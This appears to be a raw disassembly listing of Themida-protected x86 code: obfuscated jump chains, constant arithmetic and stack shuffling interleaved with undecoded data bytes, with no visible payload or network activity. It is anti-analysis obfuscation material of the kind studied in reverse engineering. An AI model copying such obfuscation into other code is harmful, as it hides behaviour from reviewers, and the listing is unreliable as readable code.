		dw 487h
aS_10		db '$\',0Ah,0
		dw 8900h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2F68E95Ch, 0BB530000h
		dd 2A9C44D8h, 4EBC14Bh,	0F381D3F7h, 88A4453Bh, 1C8BDD01h
		dd 4C48124h, 45000000h,	0FFB440E9h, 2434FFFFh, 335E958h
		dd 8F660000h, 8B662404h, 0C4812414h, 2,	0FFF2D2E9h, 0B15150FFh
		dd 0D570E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B53A:				; CODE XREF: Themida_:006079E9j
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_6094D2
		push	4BE4h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 60E338B4h
		or	ebp, 15C30E8Ch
		push	esi
		mov	esi, 1CA23C0Ch
		or	ebp, esi
		pop	esi
		sub	ebp, 7DE33EA0h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_60B91B
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 44810424h, 3C030424h, 0E95B4E86h, 0FFFF7D55h, 53D5BF57h
		dd 0DDE94697h, 0BB000017h, 5DE90786h, 379AE381h, 0A2E92C21h
		dd 5D00000Fh, 56E18951h, 3222E9h
		db 0
; ---------------------------------------------------------------------------


loc_60B5AD:				; CODE XREF: Themida_:0060A815j
		add	edx, 1C5F0CB2h
		add	edx, eax
		sub	edx, 1C5F0CB2h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 1Ch
		jmp	loc_604FEE
; ---------------------------------------------------------------------------


loc_60B5D8:				; CODE XREF: Themida_:0060586Dj
		add	esp, 4
		add	esp, 4
		add	ebx, eax
		add	ebx, 0CB00C13h
		movzx	ax, byte ptr [eax]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 697753C9h
		xor	esi, 423B714Ah
		jmp	loc_605857
; ---------------------------------------------------------------------------
		db 33h
		dd 9EE9241Ch, 0BFFFFFC1h, 7E6F7BEFh, 5DFB951h, 0C9811633h
		dd 6E102214h, 4902E9C1h, 0E9814941h, 0C217B38Dh, 2959CF31h
		dd 34FF5FFEh, 0E9535824h, 0FFFFCE61h, 4240483h,	0FFD117E9h
		dd 4C481FFh, 81000000h,	2C7h, 74FF5700h, 8F5F0424h, 248B2404h
		dd 85D9E924h, 0E829FFFFh, 0FB94E95Dh, 0EB00FFFFh, 0E9D92859h
		dd 2A72h
		db 0ACh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_60CE43
; ---------------------------------------------------------------------------


loc_60B689:				; CODE XREF: Themida_:00605436j
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_60A6DA
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 4
		dd 24248B24h, 8E0DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B6BE:				; CODE XREF: Themida_:0060B9E7j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_609D7A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF7C05h, 2C281h, 0E9520000h, 0FFFF9FB3h, 4C581h
		dd 2C870000h, 24248B24h, 8704C183h, 555C240Ch, 0F3092ABDh
		dd 246C2933h, 0DC4CE904h, 3C33FFFFh, 0BC7BE924h, 4559FFFFh
		dd 4F83ED81h, 0EAE90332h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B71B:				; CODE XREF: Themida_:00608EFDj
		pop	ebx
		pop	eax
		push	ecx
		mov	ecx, 22362D4Fh
		xor	eax, ecx
		pop	ecx
		pop	edi
		push	edx
		push	eax
		push	292C4D6Bh
		push	dword ptr [esp]
		jmp	loc_60EC2F
; ---------------------------------------------------------------------------
		dw 0C87h
aS5		db '$5',0
		align 2


loc_60B73E:				; CODE XREF: Themida_:0060818Aj
		dec	ecx
		jmp	loc_604B13
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 0C0B60F00h,	568734FFh, 17E0E955h, 0BD550000h
		dd 4, 335DEE29h, 34312434h, 24343324h, 243C895Ch, 0C781E789h
		dd 4, 4C781h, 3C870000h, 24248B24h, 4C481h, 7E680000h
		dd 0E9000017h, 0FFFFC9CDh
; ---------------------------------------------------------------------------


loc_60B794:				; CODE XREF: Themida_:0060588Fj
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_6081C9
; ---------------------------------------------------------------------------
		dd 0A4268h, 240C8900h, 0AF568h,	241C8900h, 88525CB3h, 162AE9DAh
		dd 2C890000h, 34FF5424h, 54555D24h, 0EAB8505Dh,	5001945h
		dd 0FFE6BA1Ah, 8358C501h, 2C8704C5h, 0E9565C24h, 0FFFF7F9Ah
; ---------------------------------------------------------------------------


loc_60B7E0:				; CODE XREF: Themida_:006080BDj
		mov	edx, 49F02B9h
		jmp	loc_604C45
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 34FF5C24h, 24048B24h, 0FF9639E9h, 68E089FFh,	50Ch, 68243C89h
		dd 0A29h, 0BE243489h, 4, 15EF789h, 0BD555FF8h, 7C946FD1h
		dd 8355D5F7h, 0F7FF2404h, 4EE92414h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B82B:				; CODE XREF: Themida_:00603395j
		xchg	edx, [esp]
		jmp	loc_606915
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0A68713Fh, 741FCB81h, 55E95CEDh, 81FFFF9Dh, 3AA8242Ch
		dd 4295C9Eh, 59E95324h,	68FFFF8Dh, 0C1Fh, 0FFFF5DE9h, 5D829FFh
		dd 685517ABh, 278268h, 243C8900h, 0FF7A8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60B871:				; CODE XREF: Themida_:00609AECj
		pop	edi
		jmp	loc_603585
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0E9500000h, 0FFFF9F5Bh, 83242489h, 8B042404h
		dd 0C483243Ch, 4C78104h, 0E9000000h, 0FFFF9F31h, 0B151D830h
		dd 0E389530Dh, 4C381h, 0EB810000h, 2, 2474FF53h, 8667E904h
		dd 5A66FFFFh, 59E9C220h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B8C3:				; CODE XREF: Themida_:00603600j
		pop	ebp
		sub	ebp, 3CD575FBh
		add	ebp, esi
		add	ebp, 3CD575FBh
		pop	esi
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		shl	ebp, 4
		sub	ebp, 37F25B76h
		push	ebx
		mov	ebx, 74A27BDEh
		add	ebx, 32AEF267h
		xor	ebp, ebx
		pop	ebx
		xor	eax, ebp
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	small 70Ch
		mov	[esp], ax
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		db 0BAh, 0D0h, 26h
		dd 7DE90F63h, 50000001h, 7E8E9h, 0DEE95700h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B91B:				; CODE XREF: Themida_:0060B571j
		add	ebx, 2F9D5D69h
		add	ebx, 6F3639B1h
		add	ebx, 21667494h
		add	ebx, edi
		sub	ebx, 21667494h
		sub	ebx, 6F3639B1h
		push	edx
		push	ecx
		mov	ecx, 442C73F1h
		push	ebp
		mov	ebp, 762054D0h
		jmp	loc_604D8A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E2895224h, 8904EC83h, 0D8E9242Ch, 8BFFFFABh, 0C4812414h
		dd 4, 0FFE59DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60B96D:				; CODE XREF: Themida_:00606AC4j
		pop	esi
		jmp	loc_60339A
; ---------------------------------------------------------------------------
		db 87h
		dd 248B240Ch, 4216624h,	5AE99C24h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60B983:				; CODE XREF: Themida_:0060C2AAj
		cmp	eax, edx
		jz	loc_6056F6
		push	3069h
		mov	[esp], ebp
		jmp	loc_60D0AD
; ---------------------------------------------------------------------------
		dd 0BE243489h, 1, 737E68h, 24348900h, 83240C8Bh, 215E04C4h
		dd 2434FFC8h, 0E9240C8Bh, 0FFFFDE20h, 155BC281h, 0EAC17633h
		dd 0B6EA8102h, 10DBB28h, 0D6055AD6h, 0E901B524h, 0FFFF8C35h
; ---------------------------------------------------------------------------


loc_60B9D8:				; CODE XREF: Themida_:0060DC80j
		sub	edx, 682D6026h
		mov	eax, [edx]
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_60B6BE
; ---------------------------------------------------------------------------
		dd 28A4BF57h, 0E94F74E1h, 4DFh
; ---------------------------------------------------------------------------


loc_60B9F8:				; CODE XREF: Themida_:0060B0EFj
		push	ecx
		jmp	loc_609906
; ---------------------------------------------------------------------------
		dw 0CFFEh
		dd 8052EF80h, 0F82812EFh, 228FE9h
		db 0
; ---------------------------------------------------------------------------


loc_60BA0D:				; CODE XREF: Themida_:0060E144j
		add	dword ptr [eax], 1
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_604896
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5Eh
		dd 0FFA57DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60BA2D:				; CODE XREF: Themida_:0060597Ej
		push	ebp
		mov	ebp, edi
		push	ebp
		pop	edx
		jmp	loc_60DEC5
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0BB530000h, 2, 23E4BA52h, 0AAE931A0h, 83FFFFECh
		dd 4E904ECh
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60BA57:				; CODE XREF: Themida_:00606EDAj
		push	edx
		push	7276h
		mov	[esp], ebx
		xor	dword ptr [esp], 7AD35CDh
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 7AD35CDh
		push	edx
		add	dword ptr [esp], 52F35CAFh
		pop	eax
		sub	eax, 52F35CAFh
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_60EB67
; ---------------------------------------------------------------------------
		dd 24048152h, 27662EF6h, 0FFE2DBE9h, 24048FFFh,	0E924248Bh
		dd 0FFFFC772h
; ---------------------------------------------------------------------------


loc_60BAA4:				; CODE XREF: Themida_:0060F08Dj
		push	edx
		jmp	loc_606C67
; ---------------------------------------------------------------------------


loc_60BAAA:				; CODE XREF: Themida_:00605840j
		mov	ecx, 4
		sub	eax, 66FA3FC0h
		jmp	loc_60926B
; ---------------------------------------------------------------------------
		db 0B8h, 0F5h, 42h
		dd 0E8D13C77h, 5A585250h, 0AB1DE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60BACA:				; CODE XREF: Themida_:0060F50Ej
		pop	eax
		shl	edi, 3
		xor	edi, 0E42C2277h
		mov	ecx, edi
		jmp	loc_60EED6
; ---------------------------------------------------------------------------


loc_60BADB:				; CODE XREF: Themida_:0060DA2Cj
		sub	al, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	1CDh
		mov	[esp], ebx
		push	edx
		push	cx
		push	eax
		mov	al, 48h
		mov	cl, 11h
		add	cl, al
		jmp	loc_60520F
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 0E9000000h, 0FFFF83F2h
; ---------------------------------------------------------------------------


loc_60BB08:				; CODE XREF: Themida_:0060E3F9j
		push	edx
		push	esp
		jmp	loc_60C89C
; ---------------------------------------------------------------------------
		db 81h
		dd 0C803ECEDh, 5DE801A5h, 361EBD55h, 0C5812345h, 29FC0AD4h
		dd 1713F581h, 0BF571245h, 15A07EAFh, 606CEF81h,	0EAE95B45h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60BB3B:				; CODE XREF: Themida_:0060C4B6j
		push	4CDB087Ch
		jmp	loc_60A448
; ---------------------------------------------------------------------------


loc_60BB45:				; CODE XREF: Themida_:00609D91j
		and	ebx, 3AAD46D4h
		jmp	loc_60DCB7
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5B54241Ch, 730D68h, 242C8900h, 4BDh, 52C38100h
		dd 1111538h, 52EB81EBh,	5D111538h, 4C381h, 1C870000h, 24248B24h
		dd 3B04C483h, 52E99CC8h, 89FFFF77h, 4832424h, 2BE90424h
		dd 57000018h, 8015ABFh,	81E7D110h, 3303D0CFh, 0E1F7814Fh
		dd 0C12FF130h, 0F78102EFh, 10308CC1h, 0FFDF10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60BBB9:				; CODE XREF: Themida_:0060B28Cj
		push	esi
		sub	dword ptr [esp], 13C80205h
		pop	ecx
		add	ecx, 13C80205h
		pop	esi
		mov	edx, 3C367FF9h
		jmp	loc_60BC6F
; ---------------------------------------------------------------------------
		db 89h
		dd 74E9240Ch, 0ADFFFFB3h, 0EC83D831h, 24048904h, 0FF98EDE9h
		dd 56CA81FFh, 814C8734h, 4162E2C2h, 5AD001D7h, 421BE425h
		dd 0CCBE5657h, 6837260Bh, 0
		dd 0FFCC72E9h, 73E681FFh, 0E94E386Ah, 378Dh, 3F5CBA52h
		dd 0D7315A22h, 41C5815Ah, 12D1B19h, 41ED81FDh, 5F2D1B19h
		dd 4BE56h, 0C5810000h, 41F66DF9h, 0FF96B1E9h, 4EC81FFh
		dd 0E9000000h, 0FFFF7CE3h, 5F50BF59h, 0CF317DB7h, 83240C8Bh
		dd 0F80104C4h, 0C3315E5Fh, 0E930FF66h, 0FFFF7675h, 21E951ACh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60BC6F:				; CODE XREF: Themida_:0060BBCEj
		sub	edx, ecx
		jmp	loc_6058AD
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0AEC7800Ch, 80E9DFF6h, 29FFFFEAh, 348759CEh,	3C895C24h
		dd 1881E924h, 34FF0000h, 0BEB3E924h, 0E9ACFFFFh, 0FFFFFBFCh
		dd 0D866E95Dh, 28FFFFFh, 0FF7630E9h, 815F5AFFh,	684DFEC5h
		dd 81D50100h, 684DFEEDh, 2434FF00h, 4C4815Ah, 0F7000000h
		dd 0D5F745D5h, 0D10AED81h, 0E82956C6h, 83242C8Bh, 0EC8104C4h
		dd 4, 68243489h, 0ED5h,	0B8240489h, 305BAC9Ah, 4E2568h
		dd 240C8900h, 2CE9C189h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60BCFF:				; CODE XREF: Themida_:0060A609j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_60588D
; ---------------------------------------------------------------------------
		db 33h
		dd 895C241Ch, 4BF243Ch,	81000000h, 2817BFEEh, 81FE014Ah
		dd 2817BFC6h, 34875F4Ah, 24248B24h, 9C2404FFh, 0FF7598E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60BD45:				; CODE XREF: Themida_:00609C78j
		or	esi, 3AAF7215h
		jmp	loc_606579
; ---------------------------------------------------------------------------
		dd 34FFCE29h, 0C4835924h, 55C66804h, 14890000h,	346DBA24h
		dd 78E95FC5h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60BD6B:				; CODE XREF: Themida_:0060AFF9j
		sub	ebx, edx
		pop	edx
		push	3083h
		jmp	loc_604EA7
; ---------------------------------------------------------------------------
		dd 5358C130h, 0EB8053B3h, 74EB806Bh, 0F6B5C380h, 24E380D3h
		dd 0E9FBB551h, 0FFFFF8D6h, 8158C289h, 227152EEh, 81D60179h
		dd 227152C6h, 0AAB2E979h, 8F54FFFFh, 4832404h, 68590424h
		dd 550Ch, 0E9243C89h, 0FFFF9D39h, 4BAh,	5AD00100h, 0FFE3E2E9h
		dd 243C89FFh, 8B240CFFh, 0C481243Ch, 4,	2098C781h, 0E7C1179Bh
		dd 0C2F78106h, 1F9831Fh, 243C8BFEh, 0E904C483h,	2842h
		dd 240C8B66h, 0E9E38953h, 0D60h
; ---------------------------------------------------------------------------


loc_60BE04:				; CODE XREF: Themida_:00604AE9j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		jmp	loc_60E580
; ---------------------------------------------------------------------------
		db 46h
		dd 0FFD1E8E9h, 0E9E189FFh, 0FFFFE059h, 8957D488h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 241C895Ch, 0FD88E788h, 0FFAF14E9h
		dd 24248BFFh, 3CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_60BE49:				; CODE XREF: Themida_:00609DEEj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 422B2472h
		not	esi
		shr	esi, 4
		dec	esi
		xor	esi, 9BB2D6Ch
		xor	esi, 64CF3F7Ch
		jmp	loc_60823D
; ---------------------------------------------------------------------------


loc_60BE6C:				; CODE XREF: Themida_:0060B3E7j
		mov	edi, 49DF05E4h
		not	edi
		jmp	loc_60AAE4
; ---------------------------------------------------------------------------


loc_60BE78:				; CODE XREF: Themida_:0060B238j
		shl	edx, 1
		push	3463h
		mov	[esp], eax
		mov	eax, 2EDF1CF9h
		jmp	loc_60C771
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFD728E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60BE95:				; CODE XREF: Themida_:0060D241j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_60F513
		push	edx
		mov	edx, 1Ch
		push	eax
		jmp	loc_60CFE4
; ---------------------------------------------------------------------------


loc_60BEBE:				; CODE XREF: Themida_:00604EDCj
		mov	[esp], edi
		jmp	loc_60DD88
; ---------------------------------------------------------------------------


loc_60BEC6:				; CODE XREF: Themida_:00604EA2j
		mov	ebx, 1B942B8Ah
		xor	ebx, 2AE75AF4h
		inc	ebx
		jmp	loc_608312
; ---------------------------------------------------------------------------
		db 81h
		dd 12E52C7h, 0F7D7F72Bh, 0FC781D7h, 0E9601DA9h,	30A5h
		dd 2124248Bh, 0E95E1C77h, 0FFFF83EBh, 42474FFh,	8324348Bh
		dd 3C8904ECh, 81E78924h, 4C7h, 4C78100h, 33000000h, 3C31243Ch
		dd 0F7E8E924h, 0D989FFFFh, 4BD9875Bh, 14A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_60BF29:				; CODE XREF: Themida_:006089F7j
		xor	ecx, esi
		jmp	loc_6092EC
; ---------------------------------------------------------------------------
		dd 5D1C6F09h, 0FF73A4E9h, 5FE958FFh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_60BF3F:				; CODE XREF: Themida_:0060D33Fj
		push	esi
		push	edi
		push	7D844C6Ah
		pop	edi
		or	edi, 71AA1EB0h
		jmp	loc_60A9AD
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 4895C24h, 1C496824h,	0E9540000h, 0FFFFEEC3h,	0E958C329h
		dd 2EAh
; ---------------------------------------------------------------------------


loc_60BF6C:				; CODE XREF: Themida_:00605643j
		xchg	ebp, [esp]
		pop	esp
		sub	eax, 3B8779EFh
		sub	eax, ebx
		jmp	loc_60640A
; ---------------------------------------------------------------------------


loc_60BF7C:				; CODE XREF: Themida_:00604541j
		mov	edx, esp
		jmp	loc_608BDF
; ---------------------------------------------------------------------------
		db 0B6h
		dd 40B25215h, 0FE81EA80h, 98CA80C2h, 0EA80D2F6h, 0E9D088ECh
		dd 0FFFFB2B0h, 815EF129h, 5C3F64C1h, 31DD2D27h,	0E956715Dh
		dd 0FFFFE9C2h, 0E95EF101h, 0FFFFB79Bh, 68243C89h, 7EF9B62Dh
		dd 8BF8015Fh, 0C481243Ch, 4, 9936E953h,	8142FFFFh, 0C93D01E2h
		dd 57E2D13Fh, 1C6534BFh, 99EF8163h, 0C145CD05h,	0E78103EFh
		dd 75C140D3h, 0F19FE94Fh, 63BDFFFFh, 0E93F810Dh, 0FFFF8E79h
; ---------------------------------------------------------------------------


loc_60C000:				; CODE XREF: Themida_:00609C97j
		sub	ecx, ebx
		add	ecx, 140A77DBh
		pop	ebx
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4F4E6FCCh
		xor	edx, 41451868h
		and	edx, 3D565029h
		jmp	loc_608978
; ---------------------------------------------------------------------------
		dw 0C729h
		dd 78A1C781h, 8758715Ah, 895C243Ch, 76B22414h, 81E78957h
		dd 4C7h, 4EF8300h, 0FF95C9E9h, 2EFC1FFh, 0FF756DE9h, 972D35FFh
		dd 0BE56238Ah, 4C012BE9h, 6DE9F681h, 0CE812375h, 3D556AB9h
		dd 8106E6C1h, 0FF03BBF6h, 0BEE95542h, 89FFFFD5h, 4EC83E6h
		dd 0BB241C89h, 4, 34FFDE01h, 0C4835B24h, 2BA5204h, 0E9000000h
		dd 175h
; ---------------------------------------------------------------------------


loc_60C098:				; CODE XREF: Themida_:0060DED0j
		sub	ebx, esi
		jmp	loc_605867
; ---------------------------------------------------------------------------
		db 45h
		dd 0E931CD31h, 0F751CD31h, 2BE92414h, 0BF00002Ch, 53895D7Dh
		dd 8303E7C1h, 0EE904ECh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C0BF:				; CODE XREF: Themida_:0060C584j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_603378
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 50h
		dd 9D027268h, 0E047E947h, 2C87FFFFh, 55515C24h,	0FF97AFE9h
		dd 4FE95BFFh, 68FFFF79h, 2704h,	0BA241489h, 0C4B3859h
		dd 0FFF48BE9h, 68E089FFh, 5B3Ch, 0BB241C89h, 1BA61BCCh
		dd 0BA52D3F7h, 7A72025h, 1E3FEA81h, 0EAC1416Fh,	54C28105h
		dd 0E903F669h, 0FFFFB222h, 24043166h, 0DE5AE99Ch, 0D9F7FFFFh
		dd 0E981D9F7h, 0BFA4194h, 8359CF01h, 3C3304C7h,	243C3124h
		dd 0E9243C33h, 0FFFF7ED0h, 36D1BD55h, 0EDD14EACh, 0D5F7D5F7h
		dd 0C5BCED81h, 0E90123A6h, 81C1295Dh, 0AF55ACE9h, 51E95803h
		dd 0FFFFFFBDh, 34FF2434h, 89565824h, 4B850E6h, 1000000h
		dd 0BCB7E9C6h, 0C8BFFFFh, 4C48124h, 0E9000000h,	0FFFFBAFBh
		dd 0B0240489h, 0F6022495h, 0C3B652D0h, 148BF008h, 0ECA0E924h
		dd 8B66FFFFh, 8355240Ch, 0E95404ECh, 544h, 0C107E7C1h
		dd 0E66804EFh, 89000065h, 0A3B82404h, 0C17DD55Dh, 0E0C107E8h
		dd 0C1D8F703h, 0D8F707E0h, 0E9FA442Dh, 58C729E1h, 555FF901h
		dd 2BDh, 5DE90100h, 2474FF51h, 48F5904h, 24248B24h, 24048B66h
		dd 8904EC83h, 0E389241Ch, 0FFA3F0E9h, 0E9D601FFh, 0FFFFE295h
		dd 0FF70C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60C219:				; CODE XREF: Themida_:00606799j
		mov	edi, edx
		pop	edx
		sub	edx, 616E5D9Dh
		add	edx, edi
		add	edx, 616E5D9Dh
		pop	edi
		jmp	loc_60D8FB
; ---------------------------------------------------------------------------
		dd 0FF5FFE29h, 0F3E92434h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C23B:				; CODE XREF: Themida_:0060F2BBj
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_60688A
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 0E8E9F129h, 2CFFFF98h, 0FD7E967h, 0DF890000h, 8B2434FFh
		dd 0C483241Ch, 4C48104h, 81000000h, 0E9F92CEFh,	5FF82902h
		dd 0E1895155h, 4C181h, 0E9830000h, 240C8704h, 2869E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60C286:				; CODE XREF: Themida_:00603E18j
		shl	ecx, 2
		or	ecx, 229A08ABh
		neg	ecx
		sub	ecx, 294E9D58h
		mov	edi, ecx
		pop	ecx
		sub	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_6061ED
; ---------------------------------------------------------------------------


loc_60C2A8:				; CODE XREF: Themida_:00607BEFj
		shr	edx, 1
		jmp	loc_60B983
; ---------------------------------------------------------------------------
		db 5
		dd 677A20E4h, 0E42DE829h, 8B677A20h, 0C483242Ch, 66456804h
		dd 14890000h, 7F2FBA24h, 0D0293546h, 0FFC3C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60C2D5:				; CODE XREF: Themida_:006099C5j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_60A45C
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2BDE7FE8h, 0E981D9F7h, 7DA41C6Eh, 2AE9CF01h,	0FF000009h
		dd 0DEE94077h, 8BFFFF6Fh, 28E92424h, 5900000Bh,	5182F680h
		dd 0FFE8AAE9h, 5E3C1FFh, 365AC381h, 0C3816D46h,	0DFE5DB64h
		dd 0FFCA4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60C325:				; CODE XREF: Themida_:00603A9Cj
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_60D5D0
; ---------------------------------------------------------------------------
aAs_0		db 'A$',0
		align 4


loc_60C338:				; CODE XREF: Themida_:0060E846j
		push	ecx
		mov	ecx, 798E3AF5h
		neg	ecx
		shr	ecx, 6
		shr	ecx, 5
		sub	ecx, 0A67D46F6h
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_603A90
; ---------------------------------------------------------------------------
		db 66h,	50h, 83h
		dd 1C8904ECh, 0B0ECB724h, 912AE9FCh, 8B66FFFFh,	0C4832404h
		dd 0BF49E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C38E:				; CODE XREF: Themida_:00607509j
		mov	ebp, 420B26BBh
		jmp	loc_607AD1
; ---------------------------------------------------------------------------
		dd 4C281h, 0F4E90000h, 0BE000000h, 578B3B21h, 0E6C1DEF7h
		dd 0E8CDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60C3B2:				; CODE XREF: Themida_:0060D2DAj
		pop	edx
		push	esi
		jmp	loc_604AC8
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0B1h
		dd 81FFFFCBh, 0C2042444h, 8B5B663Eh, 0C481240Ch, 4, 5624048Bh
		dd 0C681E689h, 4, 8704C683h, 248B2434h,	4BB5324h, 0E9000000h
		dd 0FFFF826Eh, 241C895Ch, 0FF8C60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60C3F9:				; CODE XREF: Themida_:0060E4D4j
		push	ecx
		mov	ecx, 0CBB3ED4h
		shl	ecx, 3
		neg	ecx
		sub	ecx, 6D0F4AB2h
		push	esi
		mov	esi, 59C77160h
		jmp	loc_60F363
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0CEh
		dd 79017434h, 0FFF7ECE9h, 81E589FFh, 4C5h, 0F2B6E900h
		dd 0F381FFFFh, 4CE414FBh, 0AF3DC42Dh, 5D80156h,	56AF3DC4h
		dd 83241C8Bh, 0BA5204C4h, 2, 316B4A05h,	2DD0014Dh, 4D316B4Ah
		dd 2404875Ah, 6624248Bh, 9C2424D3h, 0FF6E74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60C469:				; CODE XREF: Themida_:006041EFj
		inc	esi
		jmp	loc_605568
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF1919C7h, 0AECF8130h, 0E96C6934h, 0FFFFD881h, 8904EC83h
		dd 5156240Ch, 4D7341B9h, 59CE8969h, 14E95956h, 83FFFFB4h
		dd 0F8E904ECh, 89FFFF84h, 28E9242Ch, 0E9FFFFD7h, 0FFFF6E31h
		dd 0E904C483h, 2B7Dh
; ---------------------------------------------------------------------------


loc_60C4B4:				; CODE XREF: Themida_:0060F2A0j
		push	ecx
		push	ebx
		jmp	loc_60BB3B
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFFBC6Bh, 8124048Bh, 4C4h, 4C48300h, 8B66C800h
		dd 0C9E9240Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_60C4DB:				; CODE XREF: Themida_:0060A30Bj
		sub	dl, cl
		pop	ecx
		add	al, 0DFh
		sub	al, dl
		sub	al, 0DFh
		pop	edx
		sub	al, 1Ch
		add	al, bl
		add	al, 1Ch
		add	al, 11h
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 21h
		sub	cl, 69h
		sub	esp, 2
		jmp	loc_604C2B
; ---------------------------------------------------------------------------
		db 52h
		dd 0F28054B2h, 0C0CAFEB1h, 0C28003EAh, 5AD00075h, 912CC828h
		dd 2196E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60C51E:				; CODE XREF: Themida_:0060ABA3j
		add	esi, 49BE38F2h
		pop	ecx
		xor	esi, 12475195h
		jmp	loc_60A577
